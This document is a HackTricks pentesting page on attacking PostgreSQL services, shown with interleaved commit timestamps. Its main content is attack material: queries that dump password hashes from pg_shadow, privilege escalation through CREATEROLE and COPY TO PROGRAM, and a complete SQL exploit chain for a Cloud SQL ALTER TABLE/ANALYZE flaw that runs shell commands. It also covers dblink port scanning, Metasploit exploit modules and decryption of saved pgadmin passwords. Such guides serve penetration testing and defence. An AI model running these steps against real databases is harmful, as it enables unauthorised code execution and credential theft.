hacktricks/network-services-pentesting/pentesting-postgresql.md

443 lines
20 KiB
Markdown
Raw Normal View History

2022-05-01 13:25:53 +00:00
# 5432,5433 - Pentesting Postgresql
2022-04-28 16:01:33 +00:00
2022-09-30 10:43:59 +00:00
![](<../.gitbook/assets/image (9) (1) (2).png>)
2022-08-31 22:35:39 +00:00
\
2022-09-01 23:40:55 +00:00
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
2022-08-31 22:35:39 +00:00
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
2022-09-30 10:43:59 +00:00
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
2022-04-28 16:01:33 +00:00
</details>
2022-05-01 13:25:53 +00:00
## **Basic Information**
2022-04-28 16:01:33 +00:00
2022-10-07 12:55:24 +00:00
**PostgreSQL** is an open source object-relational database system that uses and extends the SQL language.
2021-11-12 01:11:08 +00:00
**Default port:** 5432, and if this port is already in use it seems that postgresql will use the next port (5433 probably) which is not in use.
2021-11-12 01:11:08 +00:00
```
PORT STATE SERVICE
5432/tcp open pgsql
```
2022-05-01 13:25:53 +00:00
## Connect
```bash
psql -U <myuser> # Open psql console with user
2021-08-28 16:44:35 +00:00
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
```
```sql
psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles
2022-10-07 12:55:24 +00:00
# Get current user
Select user;
2022-10-07 15:38:50 +00:00
# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+
#List databases
SELECT datname FROM pg_database;
#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;
2022-11-03 13:30:00 +00:00
# Get languages
SELECT lanname,lanacl FROM pg_language;
2022-10-08 16:35:25 +00:00
2022-11-03 18:57:14 +00:00
# Show installed extensions
2022-11-03 13:30:00 +00:00
SHOW rds.extensions;
2022-11-08 23:13:00 +00:00
# Get history of commands executed
\s
2022-10-07 12:55:24 +00:00
```
2022-10-07 14:00:19 +00:00
For more information about **how to abuse a PostgreSQL database** check:
2022-10-07 12:55:24 +00:00
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %}
[postgresql-injection](../pentesting-web/sql-injection/postgresql-injection/)
{% endcontent-ref %}
## Enumeration
```
msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
```
### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#postgresql)
2022-11-08 23:13:00 +00:00
### **Port scanning**
According to [**this research**](https://www.exploit-db.com/papers/13084), when a connection attempt fails, `dblink` throws an `sqlclient_unable_to_establish_sqlconnection` exception including an explanation of the error. Examples of these details are listed below.
```sql
SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');
```
* Host is down
`DETAIL: could not connect to server: No route to host Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?`
* Port is closed
```
DETAIL: could not connect to server: Connection refused Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
```
* Port is open
```
DETAIL: server closed the connection unexpectedly This probably means
the server terminated abnormally before or while processing the request
```
or
```
DETAIL: FATAL: password authentication failed for user "name"
```
* Port is open or filtered
```
DETAIL: could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
```
Unfortunately, there does not seem to be a way of getting the exception details within a PL/pgSQL function. But you can get the details if you can connect directly to the PostgreSQL server. If it is not possible to get usernames and passwords directly out of the system tables, the wordlist at- tack described in the previous section might prove successful.
2022-10-07 12:55:24 +00:00
## Enumeration of Privileges
### Roles
| Role Types | |
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
| rolsuper | Role has superuser privileges |
| rolinherit | Role automatically inherits privileges of roles it is a member of |
| rolcreaterole | Role can create more roles |
| rolcreatedb | Role can create databases |
| rolcanlogin | Role can log in. That is, this role can be given as the initial session authorization identifier |
| rolreplication | Role is a replication role. A replication role can initiate replication connections and create and drop replication slots. |
| rolconnlimit | For roles that can log in, this sets maximum number of concurrent connections this role can make. -1 means no limit. |
| rolpassword | Not the password (always reads as `********`) |
| rolvaliduntil | Password expiry time (only used for password authentication); null if no expiration |
| rolbypassrls | Role bypasses every row-level security policy, see [Section 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) for more information. |
| rolconfig | Role-specific defaults for run-time configuration variables |
| oid | ID of role |
#### Interesting Groups
2022-10-07 12:55:24 +00:00
* If you are a member of **`pg_execute_server_program`** you can **execute** programs
* If you are a member of **`pg_read_server_files`** you can **read** files
* If you are a member of **`pg_write_server_files`** you can **write** files
{% hint style="info" %}
Note that in Postgres a **user**, a **group** and a **role** is the **same**. It just depend on **how you use it** and if you **allow it to login**.
{% endhint %}
```sql
# Get users roles
\du
#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
2022-10-07 12:55:24 +00:00
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;
2022-10-07 12:55:24 +00:00
# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');
# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
2022-10-08 16:35:25 +00:00
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
2022-10-07 12:55:24 +00:00
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.
# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.
```
2022-10-07 12:55:24 +00:00
### Tables
2022-08-31 22:35:39 +00:00
2022-10-07 12:55:24 +00:00
```sql
# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';
2022-08-31 22:35:39 +00:00
2022-10-07 12:55:24 +00:00
# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;
2022-08-31 22:35:39 +00:00
2022-10-07 12:55:24 +00:00
#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
2022-10-07 14:00:19 +00:00
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';
2022-10-07 12:55:24 +00:00
```
### Functions
2022-10-07 14:00:19 +00:00
```sql
2022-10-07 15:38:50 +00:00
# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
2022-10-07 14:00:19 +00:00
\df+ pg_read_binary_file #Check who has access
2022-10-07 15:38:50 +00:00
# Get all functions of a schema
\df pg_catalog.*
# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;
2022-11-08 21:47:24 +00:00
# Another aparent option
SELECT * FROM pg_proc;
```
2022-10-07 12:55:24 +00:00
## **Postgres Privesc**
2022-10-07 12:55:24 +00:00
### CREATEROLE Privesc
2022-10-07 12:55:24 +00:00
#### **Grant**
2022-10-07 12:55:24 +00:00
According to the [**docs**](https://www.postgresql.org/docs/13/sql-grant.html): _Roles having **`CREATEROLE`** privilege can **grant or revoke membership in any role** that is **not** a **superuser**._
So, if you have **`CREATEROLE`** permission you could grant yourself access to other **roles** (that aren't superuser) that can give you the option to read & write files and execute commands:
```sql
# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;
```
#### Modify Password
Users with this role can also **change** the **passwords** of other **non-superusers**:
```sql
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
```
#### Privesc to SUPERUSER
It's pretty common to find that **local users can login in PostgreSQL without providing any password**. Therefore, once you have gathered **permissions to execute code** you can abuse these permissions to gran you **`SUPERUSER`** role:
```sql
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
```
{% hint style="info" %}
This is usually possible because of the following lines in the **`pg_hba.conf`** file:
```bash
# "local" is for Unix domain socket connections only
local all all trust
# IPv4 local connections:
host all all 127.0.0.1/32 trust
# IPv6 local connections:
host all all ::1/128 trust
```
{% endhint %}
2022-10-08 16:35:25 +00:00
### **ALTER TABLE privesc**
In[ this **writeup**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) is explained how it was possible to **privesc** in Postgres GCP abusing ALTER TABLE privilege that was granted to the user.
When you try to **make another user owner of a table** you should get an **error** preventing it, but apparently GCP gave that **option to the not-superuser postgres user** in GCP:
2022-10-25 19:47:53 +00:00
<figure><img src="../.gitbook/assets/image (4) (1).png" alt=""><figcaption></figcaption></figure>
2022-10-08 16:35:25 +00:00
Joining this idea with the fact that when the **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) commands are executed on a **table with an index function**, the **function** is **called** as part of the command with the **table** **owners permissions**. It's possible to create an index with a function and give owner permissions to a **super user** over that table, and then run ANALYZE over the table with the malicious function that will be able to execute commands because it's using the privileges of the owner.
```c
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);
```
#### Exploitation
1. Create a new table.
2. Insert some dummy content to the table, so the index function has something to work with.
3. Create a malicious index function (with our code execution payload) on the table.
4. ALTER the table owner to cloudsqladmin , GCPs superuser role, used only by Cloud SQL to maintain and manage the database.
5. ANALYZE the table, forcing the PostgreSQL engine to switch user-context to the table's owner ( cloudsqladmin ) and call the malicious index function with the cloudsqladmin permissions, resulting in executing our shell command, which we did not have permission to execute before.
In PostgreSQL, this flow looks something like this:
```sql
CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);
INSERT INTO temp_table VALUES ('dummy content');
/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';
CREATE INDEX index_malicious ON public.temp_table (suid_function(data));
ALTER TABLE temp_table OWNER TO cloudsqladmin;
/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';
ANALYZE public.temp_table;
```
After executing the exploit SQL query, the `shell_commands_results` table contains the output of the executed code:
```
uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
```
2022-11-08 21:47:24 +00:00
### Local Login
Some misconfigured postgresql instances might allow login of any local user, it's possible to local from 127.0.0.1 using the **`dblink` function**:
```sql
SELECT * FROM dblink('host=127.0.0.1
user=someuser
password=supersecret
dbname=somedb',
'Select usename,passwd from pg_shadow')
RETURNS (result TEXT);
```
If you have the password of a user with more privileges, but the user is not allowed to login from an external IP you can use the following function to execute queries as that user:
```sql
SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'Select usename,passwd from pg_shadow')
RETURNS (result TEXT);
```
It's possible to check if this function exists with:
```sql
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
```
2022-05-01 13:25:53 +00:00
## **POST**
2021-11-12 01:11:08 +00:00
```
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload
```
2022-05-01 13:25:53 +00:00
### logging
Inside the _**postgresql.conf**_ file you can enable postgresql logs changing:
```bash
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/
```
Then, **restart the service**.
2022-05-01 13:25:53 +00:00
### pgadmin
2021-11-12 01:11:08 +00:00
[pgadmin](https://www.pgadmin.org) is an administration and development platform for PostgreSQL.\
You can find **passwords** inside the _**pgadmin4.db**_ file\
You can decrypt them using the _**decrypt**_ function inside the script: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
```bash
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db
```
2022-04-28 16:01:33 +00:00
2022-10-07 12:55:24 +00:00
### pg\_hba
2022-10-07 14:00:19 +00:00
Client authentication is controlled by a config file frequently named _**pg\_hba.conf**_. This file has a set of records. A record may have one of the following seven formats:
![](https://lh4.googleusercontent.com/Ff8YbD3ppYmN2Omp-4M-0AAVhLsr4c2i7d7HUjgkE-O6NZ5zbaST1hdMPrp1AL\_xTXJalYe0HYxUk76vWJUfHZ5GuCDvIL1A-sMV44Z0CYSVgLM9ttFTDu-BhzewBGc7FeMarTLqsu\_N1ztXJg)
**Each** record **specifies** a **connection type**, a **client IP address range** (if relevant for the connection type), a **database name**, a **user name**, and the **authentication method** to be used for connections matching these parameters. The **first record with a match**ing connection type, client address, requested database, and user name **is used** to perform authentication. There is no "fall-through" or "backup": **if one record is chosen and the authentication fails, subsequent records are not considered**. If no record matches, access is denied.\
The **password-based** authentication methods are **md5**, **crypt**, and **password**. These methods operate similarly except for the way that the password is sent across the connection: respectively, MD5-hashed, crypt-encrypted, and clear-text. A limitation is that the crypt method does not work with passwords that have been encrypted in pg\_authid.
2022-10-07 12:55:24 +00:00
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
2022-09-30 10:43:59 +00:00
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
2022-04-28 16:01:33 +00:00
</details>
2022-08-31 22:35:39 +00:00
2022-09-30 10:43:59 +00:00
![](<../.gitbook/assets/image (9) (1) (2).png>)
2022-08-31 22:35:39 +00:00
\
2022-09-01 23:40:55 +00:00
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
2022-08-31 22:35:39 +00:00
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}